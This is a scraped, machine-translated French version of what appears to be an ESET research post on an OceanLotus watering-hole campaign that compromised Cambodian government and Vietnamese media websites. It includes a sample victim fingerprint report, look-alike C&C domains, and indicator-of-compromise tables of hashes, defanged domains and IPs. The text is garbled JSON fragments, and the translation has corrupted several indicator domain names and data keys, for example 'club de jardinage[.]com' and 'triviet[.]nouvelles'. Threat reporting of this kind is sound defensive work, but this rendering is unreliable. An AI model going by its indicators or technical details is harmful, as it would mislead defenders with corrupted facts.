   &quot;client_platform_ua&quot;: &quot;Mozilla / 5.0 (Windows NT 6.1; Win64; x64) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 68.0.3440.106 Safari / 537.36&quot;,\n    &quot;client_time&quot;: &quot;2018-10-21T12: 43: 25.254Z&quot;,\n    &quot;fuseau horaire&quot;: &quot;Asie / Bangkok&quot;,\n    &quot;client_network_ip_list&quot;: [\n      « 192.168.x.x »,\n      « x.x.x.x »\n    ],\n    &quot;client_api&quot;: &quot;wss: //tcog.thruhere.net/&quot;,\n    &quot;client_zuuid&quot;: &quot;defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80b80bc6d45\n    &quot;client_uuid&quot;: &quot;a612cdb028e1571dcab18e4aa316da26&quot;\n  ,\n  &quot;navigateur&quot;: {\n    &quot;plugins&quot;:\n      &quot;activex&quot;: false,\n      &quot;cors&quot;: vrai,\n      &quot;flash&quot;: faux,\n      &quot;java&quot;: faux,\n      &quot;foxit&quot;: vrai,\n      &quot;phonegap&quot;: faux,\n      &quot;quicktime&quot;: faux,\n      &quot;realplayer&quot;: faux,\n      &quot;silverlight&quot;: faux,\n      &quot;touch&quot;: faux,\n      &quot;vbscript&quot;: false,\n      &quot;vlc&quot;: false,\n      &quot;webrtc&quot;: true,\n      &quot;wmp&quot;: false\n    ,\n    &quot;_écran&quot;:\n      &quot;largeur&quot;: 1920,\n      &quot;hauteur&quot;: 1080,\n      &quot;availWidth&quot;: 1920,\n      &quot;availHeight&quot;: 1080,\n      &quot;résolution&quot;: &quot;1920&#215;1080&quot;\n    ,\n &quot;_plugins&quot;: [\n[&#8230;]</p>"},{"id":"text-70","type":"text","heading":"","plain_text":"1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44","html":"<p>1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44</p>"},{"id":"text-71","type":"text","heading":"","plain_text":"{\n  &quot;histoire&quot;: \n    &quot;client_title&quot;: &quot;Ministère% 20de% 20Freign% 20Affaires% 20et% 20International% 20Coopération% 20-&quot;,\n    &quot;client_url&quot;: &quot;https://www.mfaic.gov.kh/&quot;,\n    &quot;client_cookie&quot;: &quot;&quot;,\n    &quot;client_hash&quot;: &quot;&quot;,\n    &quot;client_referrer&quot;: &quot;https://www.mfaic.gov.kh/foreign-ngos&quot;,\n    &quot;client_platform_ua&quot;: &quot;Mozilla / 5.0 (Windows NT 6.1; Win64; x64) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 68.0.3440.106 Safari / 537.36&quot;,\n    &quot;client_time&quot;: &quot;2018-10-21T12: 43: 25.254Z&quot;,\n    &quot;fuseau horaire&quot;: &quot;Asie / Bangkok&quot;,\n    &quot;client_network_ip_list&quot;: [[[[\n      &quot;192.168.x.x&quot;,\n      &quot;x.x.x.x&quot;\n    ],\n    &quot;client_api&quot;: &quot;wss: //tcog.thruhere.net/&quot;,\n    &quot;client_zuuid&quot;: &quot;defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedfaunefautfecommunication9360af458bb80c43fd1f73190b80dbfb0b27bcbbbbbbbbbbbbbbbbbbbbbbbcc0f0bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbcc,\n    &quot;client_uuid&quot;: &quot;a612cdb028e1571dcab18e4aa316da26&quot;\n  ,\n  &quot;navigateur&quot;: {\n    &quot;plugins&quot;: \n      &quot;activex&quot;: faux,\n      &quot;cors&quot;: vrai,\n      &quot;flash&quot;: faux,\n      &quot;Java&quot;: faux,\n      &quot;foxit&quot;: vrai,\n      &quot;phonegap&quot;: faux,\n      &quot;Quick Time&quot;: faux,\n      &quot;vrai joueur&quot;: faux,\n      &quot;silverlight&quot;: faux,\n      &quot;toucher&quot;: faux,\n      &quot;vbscript&quot;: faux,\n      &quot;vlc&quot;: faux,\n      &quot;webrtc&quot;: vrai,\n      &quot;wmp&quot;: faux\n    ,\n    &quot;_écran&quot;: \n      &quot;largeur&quot;: 1920,\n      &quot;la taille&quot;: 1080,\n      &quot;availWidth&quot;: 1920,\n      &quot;availHeight&quot;: 1080,\n      &quot;résolution&quot;: &quot;1920&#215;1080&quot;\n    ,\n &quot;_plugins&quot;: [[[[\n[[[[...]","html":"<p>{\n  &quot;histoire&quot;: \n    &quot;client_title&quot;: &quot;Ministère% 20de% 20Freign% 20Affaires% 20et% 20International% 20Coopération% 20-&quot;,\n    &quot;client_url&quot;: &quot;https://www.mfaic.gov.kh/&quot;,\n    &quot;client_cookie&quot;: &quot;&quot;,\n    &quot;client_hash&quot;: &quot;&quot;,\n    &quot;client_referrer&quot;: &quot;https://www.mfaic.gov.kh/foreign-ngos&quot;,\n    &quot;client_platform_ua&quot;: &quot;Mozilla / 5.0 (Windows NT 6.1; Win64; x64) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 68.0.3440.106 Safari / 537.36&quot;,\n    &quot;client_time&quot;: &quot;2018-10-21T12: 43: 25.254Z&quot;,\n    &quot;fuseau horaire&quot;: &quot;Asie / Bangkok&quot;,\n    &quot;client_network_ip_list&quot;: [[[[\n      &quot;192.168.x.x&quot;,\n      &quot;x.x.x.x&quot;\n    ],\n    &quot;client_api&quot;: &quot;wss: //tcog.thruhere.net/&quot;,\n    &quot;client_zuuid&quot;: &quot;defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedfaunefautfecommunication9360af458bb80c43fd1f73190b80dbfb0b27bcbbbbbbbbbbbbbbbbbbbbbbbcc0f0bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbcc,\n    &quot;client_uuid&quot;: &quot;a612cdb028e1571dcab18e4aa316da26&quot;\n  ,\n  &quot;navigateur&quot;: {\n    &quot;plugins&quot;: \n      &quot;activex&quot;: faux,\n      &quot;cors&quot;: vrai,\n      &quot;flash&quot;: faux,\n      &quot;Java&quot;: faux,\n      &quot;foxit&quot;: vrai,\n      &quot;phonegap&quot;: faux,\n      &quot;Quick Time&quot;: faux,\n      &quot;vrai joueur&quot;: faux,\n      &quot;silverlight&quot;: faux,\n      &quot;toucher&quot;: faux,\n      &quot;vbscript&quot;: faux,\n      &quot;vlc&quot;: faux,\n      &quot;webrtc&quot;: vrai,\n      &quot;wmp&quot;: faux\n    ,\n    &quot;_écran&quot;: \n      &quot;largeur&quot;: 1920,\n      &quot;la taille&quot;: 1080,\n      &quot;availWidth&quot;: 1920,\n      &quot;availHeight&quot;: 1080,\n      &quot;résolution&quot;: &quot;1920&#215;1080&quot;\n    ,\n &quot;_plugins&quot;: [[[[\n[[[[...]</p>"},{"id":"text-72","type":"text","heading":"","plain_text":"Figure 7 &#8211; Rapport d&#39;empreinte digitale\nCe rapport est presque identique au rapport généré par OceanLotus Framework B, documenté par les chercheurs de Volexity en 2017. Les différentes sections sont similaires et incluent des fautes de frappe identiques. Grâce à ces similitudes et à la localisation des cibles, nous sommes confiants que OceanLotus dirigera cette campagne.\nLe rapport généré contient des informations détaillées sur le navigateur de la victime et le site Web visité: l’agent utilisateur, le référent HTTP, les adresses IP locale et externe, le navigateur ajoute les préférences de langue configurées du navigateur.\nDe plus, il y a deux identifiants uniques par machine, appelés client_zuuid et client_uuid. Ils sont probablement utilisés pour identifier les utilisateurs et les suivre d&#39;une visite à l&#39;autre. En réalité, ces identifiants étaient déjà présents dans la version 2017 du framework et client_uuid a été calculé de manière similaire.\nle client_zuuid est la concaténation des différentes valeurs deviceId contenues dans navigator.mediaDevices.enumerateDevices. Les périphériques sont les périphériques externes accessibles au navigateur, tels que les caméras ou les microphones. Ainsi, cette valeur doit être la même pour un utilisateur donné lors de ses différentes visites à partir du même ordinateur.\nle client_uuid est un hachage MD5 de certaines informations d’empreintes digitales extraites par fingerprintjs2. Parmi les informations collectées figurent l&#39;agent utilisateur du navigateur, la langue, le fuseau horaire, les plug-ins du navigateur et les polices disponibles dans le navigateur. Là encore, cette valeur doit être identique pour toutes les visites, sauf si, par exemple, l&#39;utilisateur met à jour le navigateur ou utilise un périphérique différent.\nEnfin, le serveur peut envoyer du code JavaScript supplémentaire à l&#39;ordinateur victime, probablement la charge réelle. Malheureusement, en raison de l&#39;utilisation d&#39;une clé de session AES pour chiffrer les communications, nous n&#39;avons pas été en mesure d&#39;identifier des exemples dans la nature de charges utiles envoyées par les attaquants. De plus, les charges utiles ne sont livrées qu&#39;à des cibles spécifiques. Ainsi, il n&#39;était pas possible de les obtenir en utilisant une machine de test. Toutefois, selon des rapports antérieurs, ces campagnes de points d’arrosage d’OceanLotus ont pour objectif de phish ses victimes. Par exemple, Volexity a signalé qu’une fenêtre contextuelle demandant aux utilisateurs d’approuver l’accès OAuth au compte Google de la victime pour une application Google OceanLotus était affichée. En utilisant cette technique, les attaquants peuvent accéder aux contacts et aux courriels de la victime.\nAfin d&#39;être le plus furtif possible, les opérateurs OceanLotus ont enregistré un domaine de premier et un deuxième domaines par site Web compromis. Chaque domaine est hébergé sur un serveur distinct avec une adresse IP distincte. Ils ont enregistré au moins 50 domaines et 50 serveurs pour cette campagne.\nBien que la plupart des domaines de la première étape aient été enregistrés sur des services de noms de domaine gratuits, la plupart des domaines de la deuxième étape sont des noms de domaine payants. Ils imitent également les sites Web authentiques afin de paraître légitimes. Le tableau 3 montre certains services imités par les attaquants.","html":"<p>Figure 7 &#8211; Rapport d&#039;empreinte digitale\nCe rapport est presque identique au rapport généré par OceanLotus Framework B, documenté par les chercheurs de Volexity en 2017. Les différentes sections sont similaires et incluent des fautes de frappe identiques. Grâce à ces similitudes et à la localisation des cibles, nous sommes confiants que OceanLotus dirigera cette campagne.\nLe rapport généré contient des informations détaillées sur le navigateur de la victime et le site Web visité: l’agent utilisateur, le référent HTTP, les adresses IP locale et externe, le navigateur ajoute les préférences de langue configurées du navigateur.\nDe plus, il y a deux identifiants uniques par machine, appelés client_zuuid et client_uuid. Ils sont probablement utilisés pour identifier les utilisateurs et les suivre d&#039;une visite à l&#039;autre. En réalité, ces identifiants étaient déjà présents dans la version 2017 du framework et client_uuid a été calculé de manière similaire.\nle client_zuuid est la concaténation des différentes valeurs deviceId contenues dans navigator.mediaDevices.enumerateDevices. Les périphériques sont les périphériques externes accessibles au navigateur, tels que les caméras ou les microphones. Ainsi, cette valeur doit être la même pour un utilisateur donné lors de ses différentes visites à partir du même ordinateur.\nle client_uuid est un hachage MD5 de certaines informations d’empreintes digitales extraites par fingerprintjs2. Parmi les informations collectées figurent l&#039;agent utilisateur du navigateur, la langue, le fuseau horaire, les plug-ins du navigateur et les polices disponibles dans le navigateur. Là encore, cette valeur doit être identique pour toutes les visites, sauf si, par exemple, l&#039;utilisateur met à jour le navigateur ou utilise un périphérique différent.\nEnfin, le serveur peut envoyer du code JavaScript supplémentaire à l&#039;ordinateur victime, probablement la charge réelle. Malheureusement, en raison de l&#039;utilisation d&#039;une clé de session AES pour chiffrer les communications, nous n&#039;avons pas été en mesure d&#039;identifier des exemples dans la nature de charges utiles envoyées par les attaquants. De plus, les charges utiles ne sont livrées qu&#039;à des cibles spécifiques. Ainsi, il n&#039;était pas possible de les obtenir en utilisant une machine de test. Toutefois, selon des rapports antérieurs, ces campagnes de points d’arrosage d’OceanLotus ont pour objectif de phish ses victimes. Par exemple, Volexity a signalé qu’une fenêtre contextuelle demandant aux utilisateurs d’approuver l’accès OAuth au compte Google de la victime pour une application Google OceanLotus était affichée. En utilisant cette technique, les attaquants peuvent accéder aux contacts et aux courriels de la victime.\nAfin d&#039;être le plus furtif possible, les opérateurs OceanLotus ont enregistré un domaine de premier et un deuxième domaines par site Web compromis. Chaque domaine est hébergé sur un serveur distinct avec une adresse IP distincte. Ils ont enregistré au moins 50 domaines et 50 serveurs pour cette campagne.\nBien que la plupart des domaines de la première étape aient été enregistrés sur des services de noms de domaine gratuits, la plupart des domaines de la deuxième étape sont des noms de domaine payants. Ils imitent également les sites Web authentiques afin de paraître légitimes. Le tableau 3 montre certains services imités par les attaquants.</p>"},{"id":"text-73","type":"text","heading":"","plain_text":"Domaine C &amp; C\nDomaine légitime","html":"<p>Domaine C &amp; C\nDomaine légitime</p>"},{"id":"text-74","type":"text","heading":"","plain_text":"cdn-ampproject[.]com\ncdn.ampproject.com","html":"<p>cdn-ampproject[.]com\ncdn.ampproject.com</p>"},{"id":"text-75","type":"text","heading":"","plain_text":"bootstraplink [.]com\ngetbootstrap.com","html":"<p>bootstraplink [.]com\ngetbootstrap.com</p>"},{"id":"text-76","type":"text","heading":"","plain_text":"sskimresources[.]com\ns.skimresources.com","html":"<p>sskimresources[.]com\ns.skimresources.com</p>"},{"id":"text-77","type":"text","heading":"","plain_text":"widgets-wp[.]com\nwidgets.wp.com","html":"<p>widgets-wp[.]com\nwidgets.wp.com</p>"},{"id":"text-78","type":"text","heading":"","plain_text":"Tableau 3 &#8211; Sites Web légitimes imités par les attaquants\nLe nombre de domaines utilisés et leur similarité avec les sites Web légitimes les rendent probablement plus difficiles à détecter par un œil humain regardant le trafic réseau.\nMalgré le suivi actif de nombreux chercheurs, le groupe OceanLotus est toujours très occupé à attaquer des cibles en Asie du Sud-Est. Ils améliorent également régulièrement leur ensemble d’outils, y compris leur infrastructure de points d’arrosage et leurs programmes malveillants Windows et MacOS. Les mises à jour récentes apportées à la structure de points d’arrosage, décrites dans ce blog, témoignent d’un niveau de sophistication sans précédent pour OceanLotus. Ceci est un autre rappel que ce groupe APT doit être suivi de près.\nAfin de limiter le nombre de victimes, nous avons averti chaque propriétaire de site Web compromis et expliqué comment supprimer le code JavaScript malveillant, bien que certains semblent très réticents à être informés ou aidés.\nLes chercheurs de ESET continueront à suivre tout développement de l&#39;ensemble d&#39;outils OceanLotus. Des indicateurs de compromis peuvent également être trouvés sur GitHub. Pour toute demande de renseignements ou pour soumettre des échantillons de sujets liés au sujet, contactez-nous à l&#39;adresse suivante :umpintel@eset.com.\n[1]                    ESET Research, «OceanLotus: techniques anciennes, nouvelle porte dérobée», 03 2018. [Online]. Disponible à l&#39;adresse suivante: https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf.\n[2]                    N. Carr, «Le cyberespionnage se porte bien: APT32 et la menace pour les entreprises mondiales», FireEye, 14.05.2017. [Online]. Disponible à l’adresse: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html.\n[3]                    Sky Eye Lab, «Résumé du rapport OceanLotus APT», 29 05 2015. [Online]. Disponible à l&#39;adresse suivante: http://blogs.360.cn/post/oceanlotus-apt.html.\n[4]                    S. K. S. Dave Lassalle, «OceanLotus Blossoms: surveillance numérique massive et attaques ciblant l&#39;ANASE, les nations asiatiques, les médias, les groupes de défense des droits humains et la société civile», Volexity, 06-11 2017. [Online]. Disponible: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and- société civile/.\nIndicateurs de compromis (IoC)\nDes dossiers","html":"<p>Tableau 3 &#8211; Sites Web légitimes imités par les attaquants\nLe nombre de domaines utilisés et leur similarité avec les sites Web légitimes les rendent probablement plus difficiles à détecter par un œil humain regardant le trafic réseau.\nMalgré le suivi actif de nombreux chercheurs, le groupe OceanLotus est toujours très occupé à attaquer des cibles en Asie du Sud-Est. Ils améliorent également régulièrement leur ensemble d’outils, y compris leur infrastructure de points d’arrosage et leurs programmes malveillants Windows et MacOS. Les mises à jour récentes apportées à la structure de points d’arrosage, décrites dans ce blog, témoignent d’un niveau de sophistication sans précédent pour OceanLotus. Ceci est un autre rappel que ce groupe APT doit être suivi de près.\nAfin de limiter le nombre de victimes, nous avons averti chaque propriétaire de site Web compromis et expliqué comment supprimer le code JavaScript malveillant, bien que certains semblent très réticents à être informés ou aidés.\nLes chercheurs de ESET continueront à suivre tout développement de l&#039;ensemble d&#039;outils OceanLotus. Des indicateurs de compromis peuvent également être trouvés sur GitHub. Pour toute demande de renseignements ou pour soumettre des échantillons de sujets liés au sujet, contactez-nous à l&#039;adresse suivante :umpintel@eset.com.\n[1]                    ESET Research, «OceanLotus: techniques anciennes, nouvelle porte dérobée», 03 2018. [Online]. Disponible à l&#039;adresse suivante: https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf.\n[2]                    N. Carr, «Le cyberespionnage se porte bien: APT32 et la menace pour les entreprises mondiales», FireEye, 14.05.2017. [Online]. Disponible à l’adresse: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html.\n[3]                    Sky Eye Lab, «Résumé du rapport OceanLotus APT», 29 05 2015. [Online]. Disponible à l&#039;adresse suivante: http://blogs.360.cn/post/oceanlotus-apt.html.\n[4]                    S. K. S. Dave Lassalle, «OceanLotus Blossoms: surveillance numérique massive et attaques ciblant l&#039;ANASE, les nations asiatiques, les médias, les groupes de défense des droits humains et la société civile», Volexity, 06-11 2017. [Online]. Disponible: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and- société civile/.\nIndicateurs de compromis (IoC)\nDes dossiers</p>"},{"id":"text-79","type":"text","heading":"","plain_text":"La description\nSHA-1\nSHA-256\nNom de la détection","html":"<p>La description\nSHA-1\nSHA-256\nNom de la détection</p>"},{"id":"text-80","type":"text","heading":"","plain_text":"Script de première étape\n2194271C7991D60AE82436129D7F25C0A689050A\n1EDA0DE280713470878C399D3FB6C331BA0FADD0BD9802ED98AE06218A17F3F7\nJS / Agent.NYQ","html":"<p>Script de première étape\n2194271C7991D60AE82436129D7F25C0A689050A\n1EDA0DE280713470878C399D3FB6C331BA0FADD0BD9802ED98AE06218A17F3F7\nJS / Agent.NYQ</p>"},{"id":"text-81","type":"text","heading":"","plain_text":"Scénario de deuxième étape\n996D0AC930D2CDB16EF96EDC27D9D1AFC2D89CA8\n8B824BE52DE7A8723124BAD5A45664C574D6E905F300C35719F1E6988887BD62\nJS / Agent.NYR","html":"<p>Scénario de deuxième étape\n996D0AC930D2CDB16EF96EDC27D9D1AFC2D89CA8\n8B824BE52DE7A8723124BAD5A45664C574D6E905F300C35719F1E6988887BD62\nJS / Agent.NYR</p>"},{"id":"text-82","type":"text","heading":"","plain_text":"Réseau IoC","html":"<p>Réseau IoC</p>"},{"id":"text-83","type":"text","heading":"","plain_text":"Site compromis\n1ère étape\nadresse IP\n2ème étape\nadresse IP","html":"<p>Site compromis\n1ère étape\nadresse IP\n2ème étape\nadresse IP</p>"},{"id":"text-84","type":"text","heading":"","plain_text":"baotgm[.]net\narabica.podzone[.]net\n178.128.103.24\n10cm.mypets[.]ws\n178.128.100.189","html":"<p>baotgm[.]net\narabica.podzone[.]net\n178.128.103.24\n10cm.mypets[.]ws\n178.128.100.189</p>"},{"id":"text-85","type":"text","heading":"","plain_text":"cnrp7[.]org\nutagscript[.]com\n206.189.88.50\noptnmstri[.]com\n159.65.134.146","html":"<p>cnrp7[.]org\nutagscript[.]com\n206.189.88.50\noptnmstri[.]com\n159.65.134.146</p>"},{"id":"text-86","type":"text","heading":"","plain_text":"conggiaovietnam[.]net\nlcontacts.servebbs[.]net\n178.128.219.207\nimgincapsula[.]com\n209.97.164.158","html":"<p>conggiaovietnam[.]net\nlcontacts.servebbs[.]net\n178.128.219.207\nimgincapsula[.]com\n209.97.164.158</p>"},{"id":"text-87","type":"text","heading":"","plain_text":"daichungvienvinhthanh[.]com\nsskimresources[.]com\n178.128.90.102\nsecure-imrworldwide[.]com\n178.128.90.109","html":"<p>daichungvienvinhthanh[.]com\nsskimresources[.]com\n178.128.90.102\nsecure-imrworldwide[.]com\n178.128.90.109</p>"},{"id":"text-88","type":"text","heading":"","plain_text":"danchimviet[.]Info\nwfpscripts.homeunix[.]com\n178.128.223.102\ncdn-ampproject[.]com\n178.128.24.201","html":"<p>danchimviet[.]Info\nwfpscripts.homeunix[.]com\n178.128.223.102\ncdn-ampproject[.]com\n178.128.24.201</p>"},{"id":"text-89","type":"text","heading":"","plain_text":"danviet[.]vn\ncdnscr.thruhere[.]net\n178.128.98.139\nio.blogsite[.]org\n178.128.98.89","html":"<p>danviet[.]vn\ncdnscr.thruhere[.]net\n178.128.98.139\nio.blogsite[.]org\n178.128.98.89</p>"},{"id":"text-90","type":"text","heading":"","plain_text":"Danviethouston[.]com\nvotre-ip.getmyip[.]com\n178.128.103.74\n[Unknown]\n[Unknown]","html":"<p>Danviethouston[.]com\nvotre-ip.getmyip[.]com\n178.128.103.74\n[Unknown]\n[Unknown]</p>"},{"id":"text-91","type":"text","heading":"","plain_text":"fvpoc[.]org\ngui.dnsdojo[.]net\n178.128.28.93\ncnnazure[.]com\n209.97.164.96","html":"<p>fvpoc[.]org\ngui.dnsdojo[.]net\n178.128.28.93\ncnnazure[.]com\n209.97.164.96</p>"},{"id":"text-92","type":"text","heading":"","plain_text":"club de jardinage[.]com\nfigbc.knowsitall[.]Info\n178.128.103.207\nichefbcci.is-a-chef[.]com\n206.189.85.162","html":"<p>club de jardinage[.]com\nfigbc.knowsitall[.]Info\n178.128.103.207\nichefbcci.is-a-chef[.]com\n206.189.85.162</p>"},{"id":"text-93","type":"text","heading":"","plain_text":"lienketqnhn[.]org\nconseils-renouveler.webhop[.]Info\n159.65.7.45\ncyhire.cechire[.]com\n178.128.103.79","html":"<p>lienketqnhn[.]org\nconseils-renouveler.webhop[.]Info\n159.65.7.45\ncyhire.cechire[.]com\n178.128.103.79</p>"},{"id":"text-94","type":"text","heading":"","plain_text":"mfaic.gov[.]kh\nweblink.selfip[.]Info\n178.128.103.202\ntcog.thruhere[.]net\n178.128.107.83","html":"<p>mfaic.gov[.]kh\nweblink.selfip[.]Info\n178.128.103.202\ntcog.thruhere[.]net\n178.128.107.83</p>"},{"id":"text-95","type":"text","heading":"","plain_text":"mfaic.gov[.]kh\ns0-2mdn[.]net\n104.248.144.178\np-typekit[.]com\n104.248.144.136","html":"<p>mfaic.gov[.]kh\ns0-2mdn[.]net\n104.248.144.178\np-typekit[.]com\n104.248.144.136</p>"},{"id":"text-96","type":"text","heading":"","plain_text":"mod.gov[.]kh\nstatic.tagscdn[.]com\n206.189.95.214\npagefairjs[.]com\n159.65.137.109","html":"<p>mod.gov[.]kh\nstatic.tagscdn[.]com\n206.189.95.214\npagefairjs[.]com\n159.65.137.109</p>"},{"id":"text-97","type":"text","heading":"","plain_text":"mtgvinh[.]net\nmetacachecdn[.]com\n178.128.209.153\nbootstraplink[.]com\n159.65.129.241","html":"<p>mtgvinh[.]net\nmetacachecdn[.]com\n178.128.209.153\nbootstraplink[.]com\n159.65.129.241</p>"},{"id":"text-98","type":"text","heading":"","plain_text":"nguoitieudung.com[.]vn\ns-adroll[.]com\n128.199.159.127\njoueur-cnevids[.]com\n128.199.159.60","html":"<p>nguoitieudung.com[.]vn\ns-adroll[.]com\n128.199.159.127\njoueur-cnevids[.]com\n128.199.159.60</p>"},{"id":"text-99","type":"text","heading":"","plain_text":"phnompenhpost[.]com\ntiwimg[.]com\n206.189.89.121\ntiqqcdn[.]com\n206.189.47.116","html":"<p>phnompenhpost[.]com\ntiwimg[.]com\n206.189.89.121\ntiqqcdn[.]com\n206.189.47.116</p>"},{"id":"text-100","type":"text","heading":"","plain_text":"raovatcalitoday[.]com\nwidgets-wp[.]com\n178.128.90.107\ncdn-tynt[.]com\n142.93.75.192","html":"<p>raovatcalitoday[.]com\nwidgets-wp[.]com\n178.128.90.107\ncdn-tynt[.]com\n142.93.75.192</p>"},{"id":"text-101","type":"text","heading":"","plain_text":"thongtinchongphandong[.]com\nlb-web-stat[.]com\n159.65.128.57\nbenchtag2[.]com\n178.128.90.108","html":"<p>thongtinchongphandong[.]com\nlb-web-stat[.]com\n159.65.128.57\nbenchtag2[.]com\n178.128.90.108</p>"},{"id":"text-102","type":"text","heading":"","plain_text":"tinkhongle[.]com \ncdn1.shacknet[.]nous\n142.93.127.120\nscdn-cxense[.]com\n142.93.75.161","html":"<p>tinkhongle[.]com \ncdn1.shacknet[.]nous\n142.93.127.120\nscdn-cxense[.]com\n142.93.75.161</p>"},{"id":"text-103","type":"text","heading":"","plain_text":"toithichdoc.blogspot[.]com\nassets-cdn.blogdns[.]net\n178.128.28.89\ncart.gotdns[.]com\n206.189.145.242","html":"<p>toithichdoc.blogspot[.]com\nassets-cdn.blogdns[.]net\n178.128.28.89\ncart.gotdns[.]com\n206.189.145.242</p>"},{"id":"text-104","type":"text","heading":"","plain_text":"trieudaiviet[.]com\nhtml5.endofinternet[.]net\n178.128.90.182\neffeto-azur[.]net\n142.93.71.92","html":"<p>trieudaiviet[.]com\nhtml5.endofinternet[.]net\n178.128.90.182\neffeto-azur[.]net\n142.93.71.92</p>"},{"id":"text-105","type":"text","heading":"","plain_text":"triviet[.]nouvelles\nds-aksb-a.likescandy[.]com\n159.65.137.144\nlabs-apnic[.]net\n178.128.90.138","html":"<p>triviet[.]nouvelles\nds-aksb-a.likescandy[.]com\n159.65.137.144\nlabs-apnic[.]net\n178.128.90.138</p>"},{"id":"text-106","type":"text","heading":"","plain_text":"[Unknown]\npixel1.dnsalias[.]net\n142.93.116.157\nad-appier[.]com\n178.128.90.66","html":"<p>[Unknown]\npixel1.dnsalias[.]net\n142.93.116.157\nad-appier[.]com\n178.128.90.66</p>"},{"id":"text-107","type":"text","heading":"","plain_text":"[Unknown]\ntrc.webhop[.]net\n178.128.90.223\nstatique-addtoany[.]com\n142.93.75.172","html":"<p>[Unknown]\ntrc.webhop[.]net\n178.128.90.223\nstatique-addtoany[.]com\n142.93.75.172</p>"},{"id":"text-108","type":"text","heading":"","plain_text":"[Unknown]\nnav.neat-url[.]com\n178.128.103.205\nstraits-times.is-an-actor[.]com\n178.128.107.24","html":"<p>[Unknown]\nnav.neat-url[.]com\n178.128.103.205\nstraits-times.is-an-actor[.]com\n178.128.107.24</p>"},{"id":"text-109","type":"text","heading":"","plain_text":"Clé publique RSA envoyée par le serveur\n—–BEGIN PUBLIC KEY—–\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDI8O2kXpKec4MBVeF2g86GtT2X\n/ ABJB2M + urEvxJStRuL / + u / a9oJ6XL4JTFceYqJiSsXvwD / wDfgI00zCdmJ7xgw +\nrpGyuSntLH2Ox5oVxTTUQB791WJByDjtKXYBHpIBrmePG1EcnTlfBhgHhpAeZEao\nhEXZ94it73j02h + JtQIDAQAB\n—–END PUBLIC KEY—–\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tMatthieu Faou\t\t\t\t\t\t\t\t20 novembre 2018 &#8211; 14h56","html":"<p>Clé publique RSA envoyée par le serveur\n—–BEGIN PUBLIC KEY—–\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDI8O2kXpKec4MBVeF2g86GtT2X\n/ ABJB2M + urEvxJStRuL / + u / a9oJ6XL4JTFceYqJiSsXvwD / wDfgI00zCdmJ7xgw +\nrpGyuSntLH2Ox5oVxTTUQB791WJByDjtKXYBHpIBrmePG1EcnTlfBhgHhpAeZEao\nhEXZ94it73j02h + JtQIDAQAB\n—–END PUBLIC KEY—–\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tMatthieu Faou\t\t\t\t\t\t\t\t20 novembre 2018 &#8211; 14h56</p>"},{"id":"text-110","type":"text","heading":"","plain_text":"Click to rate this post!\n                                   \n                               [Total: 0  Average: 0]","html":"<p>Click to rate this post!\n                                   \n                               [Total: 0  Average: 0]</p>"}],"sections":[{"id":"text-1","heading":"Text","content":"Les chercheurs d&#39;ESET ont identifié 21 sites Web distincts qui avaient été compromis, notamment des sites gouvernementaux et médiatiques particulièrement remarquables."},{"id":"text-2","heading":"Text","content":"Les chercheurs de ESET ont découvert une nouvelle campagne de points d’arrosage ciblant plusieurs sites Web en Asie du Sud-Est et qui aurait été active depuis septembre 2018. Cette campagne se distingue par son ampleur, car nous avons pu identifier 21 sites Web compromis, dont certains qui sont particulièrement remarquables. Parmi les sites Web compromis figuraient le ministère de la Défense du Cambodge, le ministère des Affaires étrangères et de la Coopération internationale du Cambodge et plusieurs sites Web de journaux ou de blogs vietnamiens.\nAprès une analyse approfondie, nous sommes convaincus que cette campagne est menée par le groupe OceanLotus. [1], également appelé APT32 [2] et APT-C-00. OceanLotus est un groupe d&#39;espionnage actif depuis au moins 2012 [3], principalement intéressé par les gouvernements étrangers et les dissidents.\nCette campagne serait une évolution de ce que les chercheurs de Volexity ont appelé OceanLotus Framework B, un système de points d’eau qu’ils ont documenté en 2017. [4]. Cependant, les attaquants ont intensifié leur jeu pour compliquer et ralentir l&#39;analyse de leur infrastructure malveillante. Parmi les différentes améliorations, ils ont commencé à utiliser la cryptographie à clé publique pour échanger une clé de session AES, utilisée pour chiffrer d&#39;autres communications, empêchant ainsi les produits de sécurité d&#39;intercepter la charge finale. Ils sont également passés de HTTP à WebSocket pour masquer leurs communications malveillantes.\nLes chercheurs d&#39;ESET ont identifié 21 sites Web distincts qui avaient été compromis, chacun étant redirigé vers un domaine distinct contrôlé par les attaquants.\nLa figure 1 montre la région ciblée par cette campagne."},{"id":"text-3","heading":"Text","content":"Figure 1 &#8211; Emplacement des sites Web compromis"},{"id":"text-4","heading":"Text","content":"La plupart des domaines compromis sont liés aux médias ou au gouvernement cambodgien. Le 